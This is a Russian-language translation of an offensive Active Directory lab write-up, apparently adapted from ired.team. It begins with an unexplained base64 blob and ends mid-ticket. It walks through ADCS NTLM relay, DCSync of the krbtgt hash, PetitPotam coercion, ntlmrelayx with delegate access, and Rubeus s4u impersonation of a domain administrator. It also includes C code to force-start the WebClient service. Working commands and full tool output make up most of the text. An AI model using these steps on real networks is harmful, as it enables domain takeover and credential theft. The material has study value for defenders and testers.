NwZHWlghtJf2pGc77tECwybPCtIjujXJnPGfEXpQGNZE3nOpdIaSZq0aSKEhe3/o4jBlIGqcNGiHQNOVAv3YiLICZ3f2oG2oLKORaeCNN8RuBGEQpRL404eAd4H8lh2QA6ivi+wl2GXbZArtHjnqwxN7LEot7ugY9Qrvk0w/U84A/a+fvCwPfckmFDWXiCIAic6FS5D0oNlT6U4CmXXVIkgM/uTtnDLY/Eaqy52NNekhY21gTh9ZxUiz2Ad8w1jpPz0QW5duGYar/+V4U3rDI6Fgi/e6aiYlftlaUlMZq/42gHmTObyMJiBCdzBJkBrzUqAQ4s0o4vRrFGzLXV3YMA4W4wDx+iJ1VyhXUbcctQBNnXs62+iIHe2hTTBMQ2nssYtXbYiq26S6czKMmywnnNptlJeN5b7zEggbG35Q8SJXmNVgO0QwxAPvPr7MDodncrsZXlxaZqfj1LW2+VZdULOpyP7buRHLWLzLTqMvpCK2jU03hWcKuimzsC0ByeVcpnHzRCyjDjQpLXx7To1cDGGZ8gmLnvktjRmWXIRvsxys/slsbVUuwFiCn2KcBaMAtsUyDdZECFx1962WOjPVUeuhRPmdBWsFFPwsyVNwPBeq1qVOdFOS/qLOWjtlKV8oy8AvkqG+u9lvVwATbRLaKGmpzlQH43w0Bku4HCh6tjsxzWrJXZrq4PzOgsTJzf7o4RpXhI4OvOCqwZEWgcKhllIFOPlKGmFN/V1zQGhyx7rqeh36LAguqSp1F7/WNKwndCjcEcGNJKJTQM3rIbvA8MNrOKNYDzr97iRtFdYFqm9tTJNFncIrYFAkcDgyj4OCM6GhKlPam6EEB07C8lefJ40WfzGSJY6BwdvOHLmiu0Z4jPqPtlfw2tAq6OHRyQJVhPwnmxIEE2SYFmik7f6lDsrsZPIsBdvlYTNBzI8DsS+bA0uTedByVZrSsnXzrM/DatMGlEvzT8yEyq3KEEEXjTDD5XhCFgSB4y/Nf94Eqq+GclfWfhpQk1p3JmR8/r/WrRZ6/kWOjlCdhKiJ2c8W/e5I5VR+4giR+9vir6ybD+KzTE26zF29Ztp5+kfuryo0+VfkHOztDY2X24D8lStlvYVqkquARPgTd0MsOpbp1r7shfnR6JI3CcElWUDztpVnLw/QL5fh6RyEaYEqssZSXPzb/d/alv5LJmrbC2zbFzPFELdlaFduvB2F6ndDitOeXMcJvArvsKbWKwU0JE3p8zEBHsWhDvY9/hde9s5Rt+mNT1FydiIMrkB8AtRyGxneqPGn4xIWsirgfZCLtK2TMAm/rTDnTlzhBXFWGKpglMfE6tBjdZWAKYam28kyS/ZIQ0KzPn+9oVQ5WyEt0miH471awT4riA4a5UdFSH799hO/+04xJE4xHKOxK0Af1PKHixDuEiEOZ1RYpE6aLhHjNvvQvXUItv88bSUCr8ZaFOdZWxUgYDt8+ZRIPRdjplTfELIw8wjC+o1IQfpWLEuA9A993dR5JjlJlCqfeK5cRQ8cRRuwdIzkSP5XNtj3frgfHQ7uUfU2FPBDdzWrmRpqnuoZhSJL9YNjSh1yQjElMCMGCSqGSIb3DQEJFTEWBBRoEKata8znS68Bfz/djFwwy+XeTjAtMCEwCQYFKw4DAhoFAAQUW4Hj1n8xDKmLKLuu3Kp02lD5paAECBp+RjH2rBr

Используйте runas /netonly /user:fake powershell для создания нового сеанса входа в систему, в который будет внедрен DC01$ TGT, чтобы предотвратить испорченные TGT/TGS для существующего сеанса входа.

1660701928090.png


klist подтверждает, что теперь у нас есть TGT для DC01$ в текущем сеансе входа в систему:

1660701937475.png


Теперь мы можем выполнить DCSync https://www.ired.team/offensive-sec...ord-hashes-from-domain-controller-with-dcsync и получить хэш NTLM для пользователя offsense\krbtgt:

1660701951737.png


Наличие хэша NTLM для krbtgt позволяет нам создавать https://www.ired.team/offensive-sec...ectory-kerberos-abuse/kerberos-golden-tickets .

Напоминалка

Стоит помнить, что в некоторых средах AD будут учетные записи с высоким уровнем привилегий, подключающиеся к рабочим станциям для выполнения некоторых административных задач, и если у вас есть права локального администратора на скомпрометированной машине Windows, вы можете выполнить релейную атаку ADCS + NTLM, чтобы запросить сертификат для этой службы. учетная запись.

Для этого вам понадобится следующее:

- Остановите службу SMB на скомпрометированной машине. Для этого требуются права локального администратора и перезагрузка, чтобы машина не прослушивала TCP 445;

- Раскрутить ретранслятор NTLM на TCP 445;

- Подождать, пока учетная запись службы подключится к вашему компьютеру;

- Аутентификация входящей учетной записи службы передается в ADCS, которая выдает сертификат учетной записи службы;

-Использовать сертификат сервисной учетной записи для запроса ее Kerberos TGT;

- Теперь вы получили административные привилегии на машинах, к которым может получить доступ скомпрометированная учетная запись службы.

RBCD: захват удаленного компьютера

Также возможно получить права администратора на любом удаленном компьютере, если у нас есть сетевой доступ к этому компьютеру, как указал Ли Кристенсен:

Лабораторная установка

Эта часть лабораторной работы настроена со следующими компьютерами и серверами:

- 10.0.0.5 - Kali box с NTLM relay;

- 10.0.0.7 — рабочая версия Windows (WS01). Это ПК, который мы заставим аутентифицировать наш ПК Kali, который передаст аутентификацию на DC01 и настроит компьютер WS01 для удаленного захвата;

-10.0.0.6 — контроллер домена DC01;

-10.0.0.10 — Центр сертификации (CA01). Это ПК, из которого мы будем принуждать WS01 аутентифицироваться на DC01;

Настройка ретрансляции NTLM

Давайте настроим наш ретранслятор NTLM на поле Kali для ретрансляции аутентификации на DC01 через LDAP и укажем флаг --delegate-access, который автоматизирует RBCD https://www.ired.team/offensive-sec...object-take-over-and-privilged-code-execution

examples/ntlmrelayx.py -t ldaps://dc01 -smb2support --delegate-access


Примечания о RBCD:


Форсирование WS01 для аутентификации в NTLM Relay


На компьютере CA01 давайте вызовем PetitPotam и заставим WS01 (10.0.0.7) аутентифицироваться в нашем Kali (10.0.0.5), где настроено наше реле NTLM:

.\PetitPotam.exe kali@80/spotless.txt 10.0.0.7

1660702022957.png


В нашем окне Kali мы видим, что входящая аутентификация от WS01$ была передана на ldaps://dc01 и что была создана новая учетная запись компьютера quaiivve$ (которой WS01 теперь доверяет и позволяет олицетворять любого пользователя домена):

1660702030923.png


На приведенном ниже снимке экрана показано, что учетная запись компьютера QUAIIVEE действительно создана, и WS01$ имеет для нее некоторые привилегии:

1660702041065.png


Кроме того, мы видим, что атрибут msDS-AllowedToActOnBehalfOfOtherIdentity на объекте-компьютере WS01 содержит какое-то двоичное значение, которое по умолчанию пусто на объектах-компьютерах:

1660702051071.png


Из статьи https://www.ired.team/offensive-sec...xecution#modifying-target-computers-ad-object мы знаем, что атрибут msDS-AllowedToActOnBehalfOfOtherIdentity после успешного выполнения атаки ретрансляции LDAP эффективно кодирует следующее: компьютер WS01 доверяет учетной записи компьютера QUAIIVVE$ и позволяет ему выдавать себя за любой домен пользователя, включая администраторов домена, и предоставить им административный доступ к WS01.

Вычисление хэша

На компьютере CA01 вычислим хэш RC4 для вновь созданной учетной записи компьютера QUAIIVVE$: password :

.\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:'K_-Jzsb&uK!`TIH'

1660702071858.png


Выдача себя за администратора домена на WS01


Время выдать себя за администратора домена.

На CA01 мы можем использовать команду rubeus s4u, которая:

1.Получить TGT за offense.local\QUAIIVVE$

2. Выполните S4U2Self, расширение Kerberos, позволяющее службе получать TGS для себя от имени другого пользователя. Таким образом, в нашем случае CA01 запросит TGS для QUAIIVVE$@OFFENSE.LOCAL как administrator@offense.local;

3. Выполните S4U2Proxy, расширение Kerberos, позволяющее службам запрашивать билеты TGS к другим службам от имени данного пользователя. В этом случае будет запрошен TGS для cifs/ws01.offense.local, что позволит CA01 получить доступ к файловой системе компьютера WS01 (т. е. к общему ресурсу c$) от имени Администратора домена administrator@offense.local:

PS C:\tools> .\Rubeus.exe s4u /user:QUAIIVVE$ /rc4:3F55290748348504327CDA267FCCA190 /impersonateuser:administrator@offense.local /msdsspn:cifs/ws01.offense.local /ptt /domain:offense.local

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4

[*] Action: S4U

[*] Using rc4_hmac hash: 3F55290748348504327CDA267FCCA190
[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFAjCCBP6gAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPJMIIDxaADAgESoQMCAQKiggO3BIIDs4cS
mkUPxpLm/0VamMXun7JiMnv9KdcA6NEDqqRxGkaCnqAOUJuORZr8IMBRZIAQQ/0uMPqZFka4H/3hmGDu
j/nkZbIAAfKUnuXDEynJYR+Ra8u23pmYd2uTEtKFbNkiorpmoQVpEvgrpIWcE2qRsL2Gf4dVuV2NCxqV
b2aBjmWqWN/nBnaUCjp8B2aGa9FjxdP6s+SgPQiXCoC+80iOLu38Pssb4Cf+RJBNNszdYnPlp3SK9Lyd
7tDCsaF3aJO9H6+BYlI43MvQxyu40sW44skSB0sXrru3uFZpW6hdftAnUij3OArEVPjp52LN/VdLoUHq
VX/HFeiPlX0Fly0kJ+wAeeLu60r70V6poWQ9PgTjYB1Ak1NGXKIZApUPwiTkraJBQ4rotAnwN+oMu7qS
un9A4ARq2xeQDa9CqxXAfdtaBVYrYCwJSZfnzA6hlRVOw5tp7gA9bqvm7fj+gvUgFQhd/1FmTra5JIVp
LKmL7Uzj2WKZqPnHygGZ+v+2QMm1vDJXqhbhgL2Civy5Um3tH+F5UVyo24gzxx470EUniLKTJ8EKNHFy
idy+KVPJa7FAzzkgQgRDGgxmsYgPeSThKu3fkAijw4mz89aEek93F1/Hc/iMnwpC/7pSg07qy2uY9kz0
8yKxOtYC+GBLuCsXsijRIHNbqVdwIGkalVuejvY+iDoC4vGwOiPhYmI1WrC4qUT6c1/hnKBMF+FHmRyS
Njp0lCI0/71gy34xeb0J47hW07AtjiPPO43dU23G8rgWaSkjjws5SerEacHo4onilr47AqA53QRT3JDN
vo1Hy5oWKM1Tm3LfEIjQMv32AkqDqB+zjRM5de+PXpqfUtwSifAq3N4YcfqWHrbNFrU5oz5Cdz3GvxeL
uwgNxbVXXNbfFi1dHQ5XIwNeTyFpdHUglwmOyooqxcMrMiiNTUivRzheeEw+5SJvyHMsmVeQk0MeOUO1
n8Gx8mw18uLU/EvVnmwfOFHLM1d4wpUHuOVOC0TwHM3npuPXR6UzZcvKYHlIeFdeduF8Rt/rNq+vLdKu
5I6EEzc0ZCeuXcXu4FKHd/BDILwhwSK9is2emWmqUMNT+NnbZmHmXugM6I1t2+nIiVmB4DgOarumoomj
PqnkSYnXVxWyF+0bNqCokUKE4RS4igUsWlF8WRhJqZITGVLIqH+YRVuG6N4LqceJm2MAtpPPPRSxJ3SS
v3JP3LS9jvjHKyJZQokp46ZGn87M69o3QvrPPn0A0JZggKO4qTxSoHuhXQBqo4HaMIHXoAMCAQCigc8E
gcx9gckwgcaggcMwgcAwgb2gGzAZoAMCARehEgQQNUQwX1lLwtWzFUCVxDsvo6EPGw1PRkZFTlNFLkxP
Q0FMohYwFKADAgEBoQ0wCxsJUVVBSUlWVkUkowcDBQBA4QAApREYDzIwMjEwNzMxMjAwNzE5WqYRGA8y
MDIxMDgwMTA2MDcxOVqnERgPMjAyMTA4MDcyMDA3MTlaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKh
GTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWw=


[*] Action: S4U

[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2self request for: 'QUAIIVVE$@OFFENSE.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@offense.local' to 'QUAIIVVE$@OFFENSE.LOCAL'
[*] base64(ticket.kirbi):

doIFijCCBYagAwIBBaEDAgEWooIElTCCBJFhggSNMIIEiaADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiFjAU
oAMCAQGhDTALGwlRVUFJSVZWRSSjggRXMIIEU6ADAgEXoQMCAQGiggRFBIIEQXB9rMpWxc8XAm59iT0c
cY8CZNxmH2e4SEbns4G6xGiedqtEQMVIcGIyl/GJGdO84ybfMOXgOpW+W3ahEIERSgqlACp8X2cEItKZ
vMm5rJoRsPMpk8NPKLTDMHt2QhYj+KvTNthrOMSCfFHwvIxSE8BSdJ2mkVSAKGTlL2gejX+j7/rbR0ZX
BP2a5Faa7wnv54msElUPo/Q+kUlMQd1rwuEST9VgYpmr8nrsusIQzAjJ8M10UlE+SR/EAkN3/1D4wv22
ESa8SEiqZVgNtlWFkq4LpQe6VdTIkEVU+GQtze0H4KSNwv1gDCLhDKt7cfV5Fk05ZSBLTxqE2uxkTw+u
vxU73WElmdlxyI9eWr1cAwwIICayS40q3KGaLTaLJipKmVLVNrlbGFXeKOvlpytNsDEOcf+qx2PeGYcD
JLqD+XFB/wi4lJ0UwG2HNQnx0Ni96dsCV2NdvE9xiDgMaX4021lnb8h16JCnt/nqzNx/zvszBeeFJPDE
bTjrhPaiP/VdPXNCNvkJFmtGWP1U2egs6PWpOKPzSORX+bdg/nbI1jGRwWya4DjDodGr+r2if730HmL7
tZto1FeUdXP48TnZaQsJXFGvsdASwdZPrTb6VqyONq83ALnm9ChQBiJeDd93GiE9OF4NdChG3PpG87Go
VWdtDhuhNqRwVz2hTYjU9PrKdVyXbNM2AEtH6bHNtFjVzKksX6pEwVN+1cP+u7/Q/u55UgigUqnC0ioc
hL109Lj3MRVBxmoylZ3VhRjoVfA+Ek6lbws1Ox85wyi1XGQNeev9eYOOCfzlsVSTDxALmuxyeXVJa74K
BLrsrTqdf0A7MIStHpxuwtAeqFQx8q0ith8FRhTan55/mXhxw4Sz0eEnGdzCHp1HssRCC0r3DuMrisQ3
NnnS8CjR2rKIg+T36wpv+2myq5eI4p5c47z+1a91WXP9ZiFS2ORgkIhCdB/xDx0cYbSKy1zh2YXLTqk7
NLQU7vNAp/07vq6bDi6SKaDGHwT4bDkBByV4qzhxWGZzC2EBEqT9v/cY5a+DVo0ZYxhTBVXPdw754Jvg
G9Scxd4Z+hSB2DsLP9pvYqXitPjM4h8/BDWogA9tDhte7GXo8nX8zWdOZD/vw34t18UIA78i3NsplbCK
eg9dHiNWMP9v5O+KDGCaATMIJXKGlpDHIMFa4K6s+eofIahYA8MpVaEtYbFp1/P3br11faU70G0fEvUN
Ok/brmJ0tWAyvMrnchOuD7CexI52w0cQI82K4sipkQFPDYWFmlcM7fd5ADz4pkRQyrNOCYx2dXZLyeQQ
UNbSU0s4g1akKBpIcxOuHHIO/gTD/Fz4KFReH33H1WoRwXltiUqdJG5Sf1lV5r+N6dPym8AxBJCDIKfT
Plm9jfOIFbzQkhVIxR/Kw7P+VL91S/E43AdzbkOOyH5luJktGkI5n6GU22OmUV/vVLClYztYqaOB4DCB
3aADAgEAooHVBIHSfYHPMIHMoIHJMIHGMIHDoBswGaADAgEXoRIEEDWzKn9OuGcItJGKwvFv3SGhDxsN
T0ZGRU5TRS5MT0NBTKIoMCagAwIBCqEfMB0bG2FkbWluaXN0cmF0b3JAb2ZmZW5zZS5sb2NhbKMHAwUA
AKEAAKURGA8yMDIxMDczMTIwMDcxOVqmERgPMjAyMTA4MDEwNjA3MTlapxEYDzIwMjEwODA3MjAwNzE5
WqgPGw1PRkZFTlNFLkxPQ0FMqRYwFKADAgEBoQ0wCxsJUVVBSUlWVkUk

[*] Impersonating user 'administrator@offense.local' to target SPN 'cifs/ws01.offense.local'
[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2proxy request for service: 'cifs/ws01.offense.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':

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
ZmZlbnNlLmxvY2Fs
[+] Ticket successfully imported!


1660702143296.png


Теперь мы можем попытаться получить доступ к общему ресурсу WS01 c$ из CA01, чтобы подтвердить, получили ли мы административный доступ через WS01:

ls \\ws01.offense.local\c$

1660702159658.png


Служба веб-клиента


Чтобы описанная выше атака сработала, в целевой системе WS01 должна быть запущена служба WebClient:

1660702174887.png


Служба WebClient по умолчанию не работает на компьютерах, и обычно для ее запуска вам потребуются права администратора, однако можно принудительно запустить службу, используя приведенный ниже код:

C:
// Code from https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
#include <Windows.h>
#include <evntprov.h>

int main()
{
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
    { 0x22B6D684, 0xFA63, 0x4578,
    { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };

        REGHANDLE Handle;
    bool success = false;

    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
        nullptr, nullptr, &Handle) == ERROR_SUCCESS)
    {
        EVENT_DESCRIPTOR desc;
        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
        EventUnregister(Handle);
    }

    return success;
}

Ниже показано, что служба WebClient не работает на WS01, и мы не можем ее запустить, однако выполнение приведенного выше кода (webclient.cpp, скомпилированного как webclient.exe) запускает для нас службу WebClient:

1660702195825.png


RBCD: захват локального компьютера/повышение локальных привилегий

Также можно использовать ретранслятор ADCS NTLM + ограниченное делегирование на основе ресурсов (RBCD) для повышения привилегий на локальном компьютере, если обычные пользователи домена могут создавать в AD новые учетные записи компьютеров/компьютеров, которыми они являются по умолчанию, как указано в домене. атрибут корневого объекта ms-DS-MachineAccountQuota: 10, как показано ниже:

1660702205677.png


Возможность создания учетных записей компьютеров также применима, когда речь идет о захвате удаленного компьютера.

Лабораторная установка

Эта часть лабораторной работы настроена со следующими компьютерами и серверами:

- 10.0.0.5 - Kali box с NTLM relay;
- 10.0.0.7 — рабочая станция Windows WS01. Это ПК, который мы заставим аутентифицировать наш ПК Kali, который передаст аутентификацию на DC01 и настроит компьютер WS01 для RBCD атаки https://www.ired.team/offensive-sec...object-take-over-and-privilged-code-execution
-10.0.0.6 — контроллер домена DC01;

Вычисление хэша

Опираясь на предыдущую успешную ретрансляцию NTLM, где мы заставили WS01$ аутентифицироваться на нашем ПК Kali (где прослушивалась наша ретрансляция NTLM), мы получили новую учетную запись компьютера QUAIIVVE$, созданную с паролем K_-Jzsb&uK!`TIH. Пересчитаем хэш пароля:

PS C:\Users\spotless\Desktop> .\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:"K_-Jzsb&uK!``TIH"

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4


[*] Action: Calculate Password Hash(es)

[*] Input password : K_-Jzsb&uK!`TIH
[*] Input username : QUAIIVVE$
[*] Input domain : offense.local
[*] Salt : OFFENSE.LOCALhostquaiivve.offense.local
[*] rc4_hmac : 3F55290748348504327CDA267FCCA190
[*] aes128_cts_hmac_sha1 : C0CB489DC3C96151AC20AD6E2A2EC160
[*] aes256_cts_hmac_sha1 : E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
[*] des_cbc_md5 : A8B625105779671C


1660702235645.png


Выдача себя за администратора домена на WS01

Теперь мы можем выполнить S4U против WS01, где у нас в настоящее время низкий уровень привилегий, но мы хотим повысить уровень до администратора:

PS C:\Users\spotless\Desktop> .\Rubeus.exe s4u /user:QUAIIVVE$ /aes256:E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69 /impersonateuser:Administrator /msdsspn:host/ws01.offense.local /altservice:cifs /nowrap /ptt

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFIjCCBR6gAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPZMIID1aADAgESoQMCAQKiggPHBIIDwwZceX7rzd6MgVy9Sp4ojTXQP5wVAuFouB0dIiYddAwR2292F6slGNoWvLGD50UnPxiNh3uTvYabPTdD4opUY498Sraj9ObM0/mL812DVYqO1bw7MdcWGKRl429SaW/Of8Prvn5DplNVV7Guv/3/HhIGpUNCdWs/CSm22EE8gHTNuy0Csbm/NhR5pvptMyxpFtUve52f4sxdQ2S9C2gY+Q5mKC6yW5dE3r5SHZd0J0rMp0p/wVIrtlTvZyDEfm9Vnk8EtqcS5JrtD92OZdhtfhMYtBdPOM8qrwKrz0/pHQv+VARUq2CuKr9bHaJ9perELUN8LUCQV4mRsMPB9BREXQEOk7BR9SN97g5r27jWT4xWKJFprXj+lUq2hPEyQLMG4ty4ACqv1pzmRT29VPJeA/SZXPraMkBtfcbaX3PX2XCuWP7FLxO9EcTIqNMrOM15woCLL5l18k2Z2laOMAPjsRThqRPDRHSHW01BffxiG8kAkvwW9MC/9nukUshpgNByVOgEpPFmkHAcPH9+P/QSikqsJk9mQ6ZUcvsX2nHnfFKUe+stpqilOPoxWN9yOgMuQoBddfuhQ97PStqNkRlIxffMSf61w1Yvwmh5zL8lzg+ylnqN3RfBZ8j6WJ29bZWSgjrullnowTAuU45jLIWjAGVm6JZU8XfVHMwclCI+mFZbrN6p4ms3u54o7ha28Wj5Z84pfkghl5kGE8blFzplvQ9SXbVKYxLDBSLx7AyweUdAf211gaq8UeuikWRj3IWOmqvUg3WHDNVjB5i3H1AU71OQcyKQrLB4ThLWw/Ik9VpgDjkeUpy04VRIFZhr4YccMM3flLkrw1yUtTce+AGQaZEiDMsbFb6e943DzWW3Dok90s60FCc54izuXikpqYImtZS6kFyTstYmwulj6sMl8wjSoS1fnLvJW3fJk1Z1Go+eDxzfpZu/C+vvGScyl94HkLE/qy3iTSj5UMtoDMiGImlFO0+4RJMZaoxDiQA/q/IhX5RzLSGSinl+MR7smqkJqQMrgtKTw4XWa0G6tcisKTXBIKF5qhLPhf0hPE8hell40cJFAU4pOr7EIVrLdZzj0ygCg+1yWHyoQ0QBywlPqcSdAJzT4EreLxSWq72qB373AiLDvtHR2duzqmrWQG7pL+SSc1ySN5PaQ88AsuT5z9YDEGDEjR+rqqi91B3kOgZKbPCZKABroljUnFyQ9Y5dbn+KUr8Zz+jxkHw5vEgQ4sxbJndVum4/uAObv/jnyv94PuU+d7VhRIUYvMhg1pilQPOeC6OB6jCB56ADAgEAooHfBIHcfYHZMIHWoIHTMIHQMIHNoCswKaADAgESoSIEIL6+8li8w8EpUu/s9n5HRvCeWxNCmjzJ0B3XDi7BldVooQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjBwMFAEDhAAClERgPMjAyMTA4MDUyMTM1MDZaphEYDzIwMjEwODA2MDczNTA2WqcRGA8yMDIxMDgxMjIxMzUwNlqoDxsNT0ZGRU5TRS5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNb2ZmZW5zZS5sb2NhbA==


[*] Action: S4U

[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2self request for: 'QUAIIVVE$@OFFENSE.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'QUAIIVVE$@OFFENSE.LOCAL'
[*] base64(ticket.kirbi):

doIFVjCCBVKgAwIBBaEDAgEWooIEbzCCBGthggRnMIIEY6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjggQxMIIELaADAgEXoQMCAQGiggQfBIIEG7pIIqtIfCHKYJ41k2k+R5rEA9Xs+9hdpOyBseCmS6+7UKUAfDHoNuugUXdrP0sAczQS/dsImnKzE2rWwV0sutCPVBD0RtmZRTN3RqI5WSODF5yQH/WPO8YyCD1ZxLOdHrJctk/Kq8ElX6esRKqrsQDyJTxpJ4HCfIDEyT92Iyhg6Xr7qOrlqYZMEFOunRK/YrvF/EeFmfT7p80PTp5uy4qOsS1zZVB3QOFnV7ocVS2AUq/Ds/rEIRK896c6oAlokl60d/Gh5ori05srnzeqX0Ym1n5aDNKF4ImnD4ec6kYTjahds++6PjqQ2RdOyVTH7Gyq3Jsjlo0QVtxB1noqk4W1XbQ7dpyzjIXhSehiM5d6gES1u1iu+X0WWa+sYlSFgIV1U1Li+jk+1os2BX9OtpkZPdQF9oObZsUj0vwysyg21CoiM2tbZX5nvVca4XKfqF+EItG1PEImse3WDWT+xA3zTWiw+FZ2n0rzcY4hu67xvXW92ddjJAXPJqmOaUeDpbc2s1adFl8SKTgn5ec3pr4W4bRPTEgLHZRr+6fF7olvzNdY+V8RBZizfd3rIC7SBVBHuDl1IeUs+NVUz5293QxnCipntmhebEFjezLVvvHdbsyFXYf8y5WciN2+d95j5WCTX9bGhUKlGBbCJvamtlFZhrSvMZiIPLP6bGesI6mgXnK78X2gvlZcCCV+5a/rxCP/EaytNTGXbSo3aPHz6e7Czh8OuaKrmUPo7cLR2ZzurmUneVfyoVl0vQtL0ngwKC3ze2zhCX12u33JFY21V